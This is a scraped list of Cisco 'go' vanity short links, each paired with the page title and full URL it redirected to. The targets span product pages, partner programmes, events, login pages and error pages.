http://cisco.com/go/ans => Application Networking Services – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/hw/contnetw/index.html)
http://cisco.com/go/dns => Dynamic Host Control Protocol (DHCP)/Domain Name System (DNS) – Cisco Systems (http://www.cisco.com/en/US/products/ps6641/products_ios_protocol_option_home.html)
http://cisco.com/go/eos => Cisco Certified Refurbished Equipment – Cisco Capital Finance – Cisco Systems (http://www.cisco.com/web/ordering/ciscocapital/refurbished/index.html)
http://cisco.com/go/ios => Cisco IOS and NX-OS Software – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/iosswrel/products_ios_cisco_ios_software_category_home.html)
http://cisco.com/go/qos => Quality of Service (QoS) – Cisco Systems (http://www.cisco.com/en/US/products/ps6558/products_ios_technology_home.html)
http://cisco.com/go/ros => Remote Management Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6192/serv_category_home.html)
http://cisco.com/go/wos => Overview – Exhibit & Sponsorship Opportunities – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/networkers/nw07/wos)
http://cisco.com/go/ips => Cisco Intrusion Prevention System – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/secursw/ps2113/index.html)
http://cisco.com/go/ops => Cisco.com Login Page (http://www.cisco.com/cgi-bin/cpn/show_page.pl?file_name=symposiums.html&type=technical)
http://cisco.com/go/crs => Cisco Carrier Routing System – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5763/index.html)
http://cisco.com/go/oss => Network Management – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/index.html)
http://cisco.com/go/pss => Cisco.com Login Page (http://tools.cisco.com/WWChannels/GETLOG/welcome.do)
http://cisco.com/go/tss => Technical Services – Cisco Systems (http://www.cisco.com/en/US/products/svcs/ps3034/serv_category_home.html)
http://cisco.com/go/vss => Cisco Catalyst 6500 Virtual Switching System 1440 – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9336/index.html)
http://cisco.com/go/fts => Cisco Focused Technical Support Services – Cisco Systems (http://www.cisco.com/en/US/products/svcs/ps11/ps2566/ps2567/serv_group_home.html)
http://cisco.com/go/avs => Cisco AVS 3100 Series Application Velocity System – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6492/index.html)
http://cisco.com/go/uws => Unified WAN Services – Cisco Systems (http://www.cisco.com/en/US/netsol/ns780/index.html)
http://cisco.com/go/act => Cisco Systems, Inc (http://www.cisco.com)
http://cisco.com/go/ect => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns855/networking_solutions_package.html)
http://cisco.com/go/hft => HFT: Algo Speed – Financial Markets – Financial Markets – Cisco Systems (http://www.cisco.com/web/strategy/financial/algo_speed.html)
http://cisco.com/go/pit => Cisco.com Login Page (http://tools.cisco.com/Support/CPI/index.do)
http://cisco.com/go/int => í+µíc í.Oí_¬ë+_ë¡oì_ – ì`ì+Oê,°ì-. ì+"ë£"ì.~ – Cisco Systems (http://www.cisco.com/web/KR/networking/smbiz/integrated_tech.html)
http://cisco.com/go/ipt => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/ns268/networking_solutions_package.html)
http://cisco.com/go/prt => Partner Relationship Team – Cisco Systems (http://tools.cisco.com/elearning/knet/faq/jsp/faqcontroller.jsp?action=faqList&type=0:1&module=FAQ&appid=11625&rootcatid=11625&targetID=11625)
http://cisco.com/go/fst => Financial Services – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/att => Cisco – AT&T UP – Thank You (https://programs.regweb.com/cisco/stayingoncourse_thankyou/)
http://cisco.com/go/ett => Log-In (http://resources.cisco.com/app/tree.taf?asset_id=126014&public_view=true&LeftNavID=142323)
http://cisco.com/go/ftt => Fast Track Trade In (http://tools.cisco.com/WWChannels/MBO/FTT/home.html)
http://cisco.com/go/rtt => Log-In (http://resources.cisco.com/app/tree.taf?asset_id=136369&public_view=true&randomid=0.1&LeftNavID=136369)
http://cisco.com/go/evt => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/ipc/announcements/evt_roadshow.html)
http://cisco.com/go/pvt => Cisco Partner Virtual Team Events (https://programs.regweb.com/cisco/pvt_08/)
http://cisco.com/go/cnu => Cisco Systems (http://www.cisco.com/web/partners/pr46/cnu/index.html)
http://cisco.com/go/gov => e-government – U.S. Federal Government -Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/government/us_federal.html)
http://cisco.com/go/cpv => Cisco.com Login Page (http://tools.cisco.com/Support/mytechsupport/index.jsp)
http://cisco.com/go/pgw => Cisco PGW 2200 Softswitch – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/vcallcon/ps2027/index.html)
http://cisco.com/go/fax => Cisco Fax Server – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6178/index.html)
http://cisco.com/go/ccx => Cisco Compatible Extensions Client Devices – Cisco Compatible Extensions – Cisco Systems (http://www.cisco.com/web/partners/pr46/pr147/partners_pgm_partners_0900aecd800a7907.html)
http://cisco.com/go/fox => President Taylor Meets Over TelePresence On 24 – Video Detail – The Video Lounge (http://videolounge.cisco.com/video/24-pres-taylor-meets-over-tp/?Referring_site=PrintTv&Country_Site=US&Campaign=HN&Position=URL&Creative=go/fox&Where=go/fox)
http://cisco.com/go/biz => Internal Server Error (http://www.cisco.com/cisco/web/solutions/small_business/index.html?Referring_site=PrintTv&Country_Site=us&Campaign=SAMBA&Position=Vanity&Creative=go/biz&Where=go/biz)
http://cisco.com/go/100 => Cisco SB 100 Series Small-Business Routers – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6216/index.html)
http://cisco.com/go/850 => Cisco 851 Integrated Services Router – Cisco Systems (http://www.cisco.com/en/US/products/ps6195/index.html)
http://cisco.com/go/360 => > Cisco 360 Learning Program – The Cisco Learning Network (https://learningnetwork.cisco.com/community/learning_center/cisco_360)
http://cisco.com/go/870 => Cisco 871 Integrated Services Router – Cisco Systems (http://www.cisco.com/en/US/products/ps6200/index.html)
http://cisco.com/go/fs1 => Financial Services – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/tv1 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/vc2 => VoiceCon 2010 – Cisco Events – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/voicecon/2010/index.html)
http://cisco.com/go/fs2 => Financial Services – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/tv2 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/fs3 => Financial Services – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/financial/index.html)
http://cisco.com/go/tv3 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv4 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv5 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv6 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv7 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv8 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/tv9 => Telepresence – Overview – Cisco Systems (http://www.cisco.com/en/US/netsol/ns669/networking_solutions_solution_segment_home.html)
http://cisco.com/go/pica => Cisco.com Login Page (http://www.cisco.com/cgi-bin/front.x/pica/welcome_2_pica.pl)
http://cisco.com/go/cpda => The Page You Have Requested Is Not Available (http://www.cisco-powered.com/cp/auth/marketing_sales_resources/cisco_powered_demand_accelerator/)
http://cisco.com/go/ctia => CTIA Wireless 2010 – Cisco Events – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/ctia/2010/index.html)
http://cisco.com/go/nila => News@Cisco -> Executive Biographies (http://newsroom.cisco.com/dlls/tln/research_studies/nila/index.html)
http://cisco.com/go/eula => End User License Agreement [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html)
http://cisco.com/go/icpa => Cisco.com Login Page (http://tools.cisco.com/WWChannels/IPA/welcome.do#)
http://cisco.com/go/vspa => Cisco Catalyst 6500 Series VPN Services Port Adapter – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9893/index.html)
http://cisco.com/go/cspa => Cisco Service Path Analyzer – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9498/index.html)
http://cisco.com/go/ncta => NCTA Show 2010 – Cisco Events – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/ncta/2010/index.html)
http://cisco.com/go/mfib => IP Multicast – Cisco Systems (http://www.cisco.com/en/US/products/ps6552/products_ios_technology_home.html)
http://cisco.com/go/bnac => Cisco BioMed Network Admission Control – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/healthcare/bioMed_nac.html)
http://cisco.com/go/bpac => Cisco Systems: Business Policy Advisory Council – Login (http://forums.cisco.com/eforum/servlet/BPAC?page=main)
http://cisco.com/go/cabc => Cisco Hardware Inspection and Software Re-Licensing Program [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/prod/hw_sw_relicensing_program.html#~using)
http://cisco.com/go/brdc => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns340/ns394/ns224/networking_solutions_packages_list.html)
http://cisco.com/go/trec => Smart+Connected Real Estate – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/trec/index.html)
http://cisco.com/go/psfc => Cisco.com Login Page (http://tools.cisco.com/salesit/psfc/index.jsp)
http://cisco.com/go/gbic => Cisco Transceiver Modules – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/modules/ps5455/prod_module_series_home.html)
http://cisco.com/go/celc => Cisco Learning Home – The Cisco Learning Network (https://cisco.hosted.jivesoftware.com/index.jspa?ciscoHome=true)
http://cisco.com/go/cumc => Cisco Unified Mobile Communicator – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7271/index.html)
http://cisco.com/go/cepc => Cisco Experience Provider Central (http://ciscoepcentral.veplatform.com)
http://cisco.com/go/hipc => Cisco Powered Program (http://www.cisco.com/pcgi-bin/cpn/cpn_match_result.pl?perPage=40&CurPosition=0&Direction=&ResultType=EC&search_id=873856&tab_name=findsp&SearchType=Advance&sortBy=DEFAULT)
http://cisco.com/go/dcuc => Data Center Unified Computing – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/pr11/atp/dcuc/index.html)
http://cisco.com/go/road => Roadways – Transportation – Cisco Systems (http://www.cisco.com/en/US/strategy/transportation/roadways.html)
http://cisco.com/go/used => Cisco Hardware Inspection and Software Re-Licensing Program [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/prod/hw_sw_relicensing_program.html#~using)
http://cisco.com/go/grid => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns500/networking_solutions_package.html)
http://cisco.com/go/gold => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr11/pr8/pr27/partners_pgm_concept_home.shtml)
http://cisco.com/go/ipnd => Cisco.com Login Page (http://www.cisco.com/en/US/partner/partners/pr11/incentive/defender.shtml)
http://cisco.com/go/srnd => Design Zone – Main Page – Cisco – Cisco Systems (http://www.cisco.com/en/US/netsol/ns742/networking_solutions_program_category_home.html)
http://cisco.com/go/isrd => The Page You Have Requested Is Not Available (http://www.cisco.com/web/about/security/security_services/ciag/research/index.html)
http://cisco.com/go/apae => Cisco Application Performance Assurance Engine – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9799/index.html)
http://cisco.com/go/cuae => Cisco Unified Application Environment – Cisco Systems (http://www.cisco.com/en/US/netsol/ns738/networking_solutions_package.html)
http://cisco.com/go/cmbe => Cisco Unified Communications Manager Business Edition – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps7273/index.html)
http://cisco.com/go/cube => Cisco Unified Border Element (CUBE) – Cisco Systems (http://www.cisco.com/en/US/products/sw/voicesw/ps5640/index.html)
http://cisco.com/go/pace => Compliance – Cisco Systems (http://www.cisco.com/en/US/netsol/ns661/index.html)
http://cisco.com/go/ccde => 502 Proxy Error (http://www.cisco.com/web/learning/le3/ccde/index.html)
http://cisco.com/go/edge => Edge Networks – Cisco Systems (http://www.cisco.com/en/US/netsol/ns592/networking_solutions_solution.html)
http://cisco.com/go/ccie => Cisco Certified Internetwork Expert – CCIE – Cisco Systems (http://www.cisco.com/web/learning/le3/ccie/index.html)
http://cisco.com/go/ccme => Cisco Unified Communications Manager Express(CME) – Cisco Systems (http://www.cisco.com/en/US/products/sw/voicesw/ps4625/index.html)
http://cisco.com/go/hire => IT Managers – The Cisco Learning Network (https://cisco.hosted.jivesoftware.com/community/promo-014-hire?utm_source=tm&utm_medium=pm&utm_campaign=promo-014)
http://cisco.com/go/core => Core Networks – Cisco Systems (http://www.cisco.com/en/US/netsol/ns573/networking_solutions_solution.html)
http://cisco.com/go/ahse => Cisco Application-Oriented Networking Healthcare Services Extensions – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9715/index.html)
http://cisco.com/go/ctwe => Cisco TelePresence WebEx Engage [TelePresence] – Cisco Systems (http://www.cisco.com/en/US/solutions/ns669/webex_engage.html)
http://cisco.com/go/skye => Small Business Empowered by Cisco – Cisco Systems (http://www.cisco.com/web/solutions/smb/heroes/index.html?Referring_site=PrintTv&Country_Site=us&Campaign=SMB+Heroes&Position=Vanity&Creative=go/skye&Where=go/skye)
http://cisco.com/go/dcof => The Data Center of the Future – Cisco Systems (http://www.cisco.com/en/US/solutions/ns708/sol_generic_dc_of_the_future.html)
http://cisco.com/go/svig => Introduction – Silicon Valley Impact Grants – Cisco Systems (http://www.cisco.com/web/about/ac48/sv_grants.html)
http://cisco.com/go/fclg => Search Seminars and Webcasts – Events, Webcasts and Seminars – Cisco Systems (http://www.cisco.com/pcgi-bin/sreg2/register/regdetail_private.pl?LANGUAGE=E&METHOD=E&TOPIC_CODE=9947&PRIORITY_CODE=176571_4)
http://cisco.com/go/blog => Architectures and Solutions (http://blogs.cisco.com/ciscotalk/solutions)
http://cisco.com/go/ibsg => Welcome to Cisco IBSG – Internet Business Solutions Group – Cisco Systems (http://www.cisco.com/web/about/ac79/index.html)
http://cisco.com/go/gdsg => Defense – Government – Cisco Systems (http://www.cisco.com/en/US/strategy/government/defense.html)
http://cisco.com/go/ggsg => Defense – Government – Cisco Systems (http://www.cisco.com/web/strategy/government/defense.html)
http://cisco.com/go/nmtg => Network Management – Main Page – Cisco Systems (http://www.cisco.com/en/US/products/sw/netmgtsw/index.html)
http://cisco.com/go/tech => Cisco IOS Technologies – Cisco Systems (http://www.cisco.com/en/US/products/ps6537/products_ios_sub_category_home.html)
http://cisco.com/go/dcni => Advanced Data Center Networking Infrastructure – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/program/specializations/datacenter/dcni/index.html)
http://cisco.com/go/bank => This Content Has Moved – Cisco Systems (http://www.cisco.com/now/bank)
http://cisco.com/go/deal => Cisco.com Login Page (http://www.cisco.com/cgi-bin/front.x/AppTool/controller.cgi)
http://cisco.com/go/rail => Public Transportation – Transportation – Cisco Systems (http://www.cisco.com/en/US/strategy/transportation/rail.html)
http://cisco.com/go/cell => Text Messaging at Cisco – About Cisco – Cisco Systems (http://www.cisco.com/web/about/facts_info/sms_reg_info.html)
http://cisco.com/go/sell => Cisco Systems (http://www.cisco.com/web/partners/sell/index.html)
http://cisco.com/go/cuwl => Cisco Unified Workspace Licensing – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9156/index.html)
http://cisco.com/go/apam => Cisco Application Performance Assurance Network Module – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9559/index.html)
http://cisco.com/go/asdm => Cisco Adaptive Security Device Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6121/index.html)
http://cisco.com/go/cvdm => CiscoWorks CiscoView – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/cscowork/ps4565/index.html)
http://cisco.com/go/cwdm => Cisco CWDM Transceiver Modules – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6575/index.html)
http://cisco.com/go/dcnm => Cisco Data Center Network Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9369/index.html)
http://cisco.com/go/tpnm => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/products/ps9800/Products_Sub_Category_Home.html)
http://cisco.com/go/cuom => Cisco Unified Operations Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6535/index.html)
http://cisco.com/go/cepm => Cisco Policy Management – Cisco Systems (http://www.cisco.com/en/US/products/ps9519/Products_Sub_Category_Home.html)
http://cisco.com/go/cupm => Provisioning – Cisco – Cisco Systems (http://www.cisco.com/en/US/products/ps7125/index.html)
http://cisco.com/go/wism => Cisco Catalyst 6500 Series/7600 Series Wireless Services Module (WiSM) – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6526/index.html)
http://cisco.com/go/cusm => Cisco Unified Service Monitor – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6536/index.html)
http://cisco.com/go/fwsm => Cisco Catalyst 6500 Series Firewall Services Module – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/modules/ps2706/ps4452/index.html)
http://cisco.com/go/mwtm => Cisco Mobile Wireless Transport Manager – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6472/)
http://cisco.com/go/aibn => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/partners/pr67/pr29/aibn/solution_home.html)
http://cisco.com/go/edcn => Cisco Support Community: Cisco Support Community (http://forums.cisco.com/eforum/servlet/NetProf;jsessionid=k6x5lkj7q1.SJ2B?page=netprof&CommCmd=MB%3Fcmd%3Ddisplay_messages%26mode%3Dnew%26location%3D.ee71a00)
http://cisco.com/go/ibpn => Cisco Systems, Inc (http://www.cisco.com)
http://cisco.com/go/ispn => Cisco Systems (http://www.cisco.com/web/partners/sell/industry/index.html)
http://cisco.com/go/evpn => Security Solutions for Enterprise – Cisco Systems (http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/networking_solutions_packages_list.html)
http://cisco.com/go/mvpn => Multicast VPN – Cisco Systems (http://www.cisco.com/en/US/products/ps6651/products_ios_protocol_option_home.html)
http://cisco.com/go/dcsn => Advanced Data Center Storage Networking – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/program/specializations/datacenter/dcsn/index.html)
http://cisco.com/go/ggsn => Cisco Gateway GPRS Support Node – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/wirelssw/ps873/index.html)
http://cisco.com/go/goco => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/collaboration/gocollaborate.html)
http://cisco.com/go/logo => Cisco Brand Center – Doing Business With Cisco – Cisco Systems (http://www.cisco.com/en/US/about/ac50/ac47/about_cisco_brand_center.html)
http://cisco.com/go/demo => Cisco Systems (http://www.cisco.com/web/partners/sell/technology/ipc/integrated-solutions/dmr.html)
http://cisco.com/go/cspo => Security Programs – Security Center – Cisco Systems (http://www.cisco.com/web/about/security/cspo/index.html)
http://cisco.com/go/pvso => We Apologize – 401 Error (http://www.cisco.com/partner/services/pvso/)
http://cisco.com/go/dcap => Data Center Assurance Program – Cisco Systems (http://www.cisco.com/en/US/netsol/ns758/networking_solutions_sub_program_home.html)
http://cisco.com/go/asap => The Page You Have Requested Is Not Available (http://www.cisco.com/web/partners/pr192/sp_asap.html)
http://cisco.com/go/csbp => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns671/networking_solutions_package.html)
http://cisco.com/go/dhcp => Dynamic Host Control Protocol (DHCP)/Domain Name System (DNS) – Cisco Systems (http://www.cisco.com/en/US/products/ps6641/products_ios_protocol_option_home.html)
http://cisco.com/go/mscp => Cisco Systems (http://www.cisco.com/web/partners/pr11/mscp/index.html)
http://cisco.com/go/oscp => Outsourcing Channel Program – Partner Central – Cisco Systems (http://www.cisco.com/web/partners/pr11/outsourcing/index.html)
http://cisco.com/go/mldp => IP Multicast – Cisco Systems (http://www.cisco.com/en/US/products/ps6552/products_ios_technology_home.html)
http://cisco.com/go/ctdp => Introduction – Cisco Technology Developer Program – Cisco Systems (http://www.cisco.com/en/US/partners/pr46/tdp/index.shtml)
http://cisco.com/go/bbip => CCO Decommission Page (http://www.cisco.com/warp/public/732/bbip/)
http://cisco.com/go/clip => Cisco Systems (http://www.cisco.com/web/ordering/ciscocapital/o45/ordering_finance_solution_program0900aecd800ddd5f.html)
http://cisco.com/go/grip => High Availability – Cisco Systems (http://www.cisco.com/en/US/products/ps6550/products_ios_technology_home.html)
http://cisco.com/go/ctmp => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/tmp/index.html)
http://cisco.com/go/coop => Cisco Coop Fund Builder (http://www.coams.com/ciscocoop)
http://cisco.com/go/mtop => Radio Access Networks – Cisco Systems (http://www.cisco.com/en/US/netsol/ns675/networking_solutions_solution_category.html)
http://cisco.com/go/clsp => Cisco Learning Solutions Partner – Learning Partners Program Overview – Cisco Systems (http://www.cisco.com/web/learning/le27/le53/learning_partner_clsp.html)
http://cisco.com/go/cusp => Cisco Unified SIP Proxy – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps10140/index.html)
http://cisco.com/go/cptp => Cisco Partner Talent Network (https://secure.partnertalentportal.com/emerging/admin9021/login.asp)
http://cisco.com/go/ccvp => CCVP – Career Certifications & Paths – Cisco Systems (http://www.cisco.com/en/US/learning/le3/le2/le37/le65/learning_certification_type_home.html)
http://cisco.com/go/rsvp => Cisco RSVP Agent – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6832/index.html)
http://cisco.com/go/nbar => Network Based Application Recognition (NBAR) – Cisco Systems (http://www.cisco.com/en/US/products/ps6616/products_ios_protocol_group_home.html)
http://cisco.com/go/eccr => Experience Cisco Collaboration Roadshow – Cisco Unified Communications & WebEx – Cisco Systems (http://www.cisco.com/web/partners/sell/technology/ipc/announcements/uc7roadshow.html)
http://cisco.com/go/dcdr => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/euro/dcdr.html)
http://cisco.com/go/iaas => Infrastructure as a Service – Cisco Systems (http://www.cisco.com/en/US/netsol/ns995/networking_solutions_solution_category.html)
http://cisco.com/go/waas => WAN Optimization – Cisco Systems (http://www.cisco.com/en/US/products/ps5680/Products_Sub_Category_Home.html)
http://cisco.com/go/dcas => Data Center Application Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5719/Products_Sub_Category_Home.html)
http://cisco.com/go/cabs => Cisco.com Login Page (http://forums.cisco.com/eforum/servlet/CAB?page=main&sn=CAB)
http://cisco.com/go/mibs => Cisco IOS MIB Locator (http://tools.cisco.com/ITDIT/MIBS/servlet/index)
http://cisco.com/go/isbs => Design Zone for Branch – Cisco Systems (http://www.cisco.com/en/US/netsol/ns816/networking_solutions_program_home.html)
http://cisco.com/go/sbcs => Cisco Smart Business Communications System – Cisco Systems (http://www.cisco.com/cisco/web/solutions/small_business/products/voice_conferencing/smart_business_communications_system/index.html?Referring_site=PrintTv&Country_Site=us&Campaign=SAMBA&Position=Vanity&Creative=go/sbcs&Where=go/sbcs)
http://cisco.com/go/hucs => Cisco Hosted Unified Communications Services – Cisco Systems (http://www.cisco.com/en/US/netsol/ns757/networking_solutions_solution.html)
http://cisco.com/go/wids => Cisco Adaptive Wireless IPS Software – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9817/index.html)
http://cisco.com/go/bugs => Cisco.com Login Page (http://tools.cisco.com/Support/BugToolKit/action.do?hdnAction=searchBugs)
http://cisco.com/go/iris => Cisco Internet Routing in Space (IRIS) – Industry Solutions – Cisco Systems (http://www.cisco.com/web/strategy/government/space-routing.html)
http://cisco.com/go/mpls => Multiprotocol Label Switching (MPLS) – Cisco Systems (http://www.cisco.com/en/US/products/ps6557/products_ios_technology_home.html)
http://cisco.com/go/vams => Cisco Video Assurance Management Solution – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9518/index.html)
http://cisco.com/go/cpms => Welcome – Cisco Systems (http://www.cisco.com/web/learning/le21/le34/cpnmarketing/2007/)
http://cisco.com/go/lpms => Cisco.com Login Page (http://tools.cisco.com/E-Learning-IT/LPCM/jsp/LpcmWelcome.jsp)
http://cisco.com/go/ibns => Identity Based Networking Services – Cisco Systems (http://www.cisco.com/en/US/products/ps6638/products_ios_protocol_group_home.html)
http://cisco.com/go/nxos => Cisco NX-OS Software – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9372/index.html)
http://cisco.com/go/nips => News@Cisco -> Executive Biographies (http://newsroom.cisco.com/dlls/tln/research_studies/nips/index.html)
http://cisco.com/go/wips => Cisco Adaptive Wireless IPS Software – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps9817/index.html)
http://cisco.com/go/apps => Cisco Systems: Unified Communications Applications Central (http://forums.cisco.com/eforum/servlet/IPCApps?page=main)
http://cisco.com/go/mars => Cisco Security Monitoring, Analysis, and Response System (MARS) – Cisco Systems – Cisco Systems (http://www.cisco.com/en/US/products/ps6241/index.html)
http://cisco.com/go/nbss => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns614/networking_solutions_sub_solution.html)
http://cisco.com/go/ucss => Cisco Unified Communications Software Subscription (UCSS) – Cisco Systems (http://www.cisco.com/en/US/products/ps9158/index.html)
http://cisco.com/go/gdss => 502 Proxy Error (http://www.cisco.com/en/US/strategy/government/defense.html)
http://cisco.com/go/ciss => Cisco Feature Navigator – Cisco Systems (http://tools.cisco.com/ITDIT/ISTMAIN/jsp/index.jsp)
http://cisco.com/go/cnss => 07/01/03 – Recent Program Information – Cisco Systems (http://www.cisco.com/web/learning/le3/whats_new/infosec.html)
http://cisco.com/go/skus => Cisco Systems (http://www.cisco.com/web/partners/pr11/incentive/eligible_skus.html)
http://cisco.com/go/news => News@Cisco -> News@Cisco (http://newsroom.cisco.com/dlls/index.html)
http://cisco.com/go/csat => Customer Satisfaction – Cisco Systems (http://www.cisco.com/web/partners/pr11/pr20/partners_customer_satisfaction_concept_home.html)
http://cisco.com/go/cebt => Collaboration Enabled Business Transformation – Cisco Systems (http://www.cisco.com/en/US/netsol/ns952/index.html)
http://cisco.com/go/msft => DC Partner – Microsoft – Cisco Systems (http://www.cisco.com/en/US/netsol/ns963/index.html)
http://cisco.com/go/lcmt => Cisco.com Login Page (http://tools.cisco.com/GET/lrncrd/jsp/index.jsp)
http://cisco.com/go/cart => Log-In (http://resources.cisco.com/app/tree.taf?asset_id=175513&public_view=true)
http://cisco.com/go/srst => Cisco Unified Survivable Remote Site Telephony – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/voicesw/ps2169/index.html)
http://cisco.com/go/issu => In-Service Software Upgrade (ISSU) – Cisco Systems (http://www.cisco.com/en/US/products/ps7149/products_ios_protocol_group_home.html)
http://cisco.com/go/srsv => Cisco Survivable Remote Site Voicemail – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps10769/index.html)
http://cisco.com/go/iptv => IPTV Solutions – Cisco Systems (http://www.cisco.com/en/US/netsol/ns610/networking_solutions_solution_category.html)
http://cisco.com/go/rfgw => Cisco RF Gateway Series – Products & Services – Cisco Systems (https://www.cisco.com/en/US/products/ps8360/index.html)
http://cisco.com/go/grow => The Page You Have Requested Is Not Available (http://www.cisco.com/web/partners/grow.html)
http://cisco.com/go/cbsw => Cisco Systems (http://www.cisco.com/web/partners/sell/smb/university/training.html)
http://cisco.com/go/uccx => Cisco Unified Contact Center Express – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/sw/custcosw/ps1846/index.html)
http://cisco.com/go/amex => The Page You Have Requested Is Not Available (http://www.cisco.com/en/US/netsol/ns339/networking_solutions_small_medium_sized_business_home.html)
http://cisco.com/go/gray => Cisco Hardware Inspection and Software Re-Licensing Program [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/prod/hw_sw_relicensing_program.html#~using)
http://cisco.com/go/grey => Cisco Hardware Inspection and Software Re-Licensing Program [Products & Services] – Cisco Systems (http://www.cisco.com/en/US/prod/hw_sw_relicensing_program.html#~using)
http://cisco.com/go/easy => Cisco Embedded Automation Systems – Cisco Systems (http://www.cisco.com/en/US/products/ps10777/products_ios_protocol_group_home.html)
http://cisco.com/go/4200 => Cisco IPS 4200 Series Sensors – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/vpndevc/ps4077/index.html)
http://cisco.com/go/4500 => Cisco Catalyst 4500 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/switches/ps4324/index.html)
http://cisco.com/go/6500 => Cisco Catalyst 6500 Series Switches – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/hw/switches/ps708/index.html)
http://cisco.com/go/3700 => Cisco -Cisco 3700 Series Routers (http://www.cisco.com/warp/public/cc/pd/rt/ps282/)
http://cisco.com/go/3800 => Cisco 3800 Series Integrated Services Routers – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5855/index.html)
http://cisco.com/go/1800 => Cisco 1800 Series Integrated Services Routers – Products & Services – Cisco Systems (http://www.cisco.com/en/US/products/ps5853/index.html)
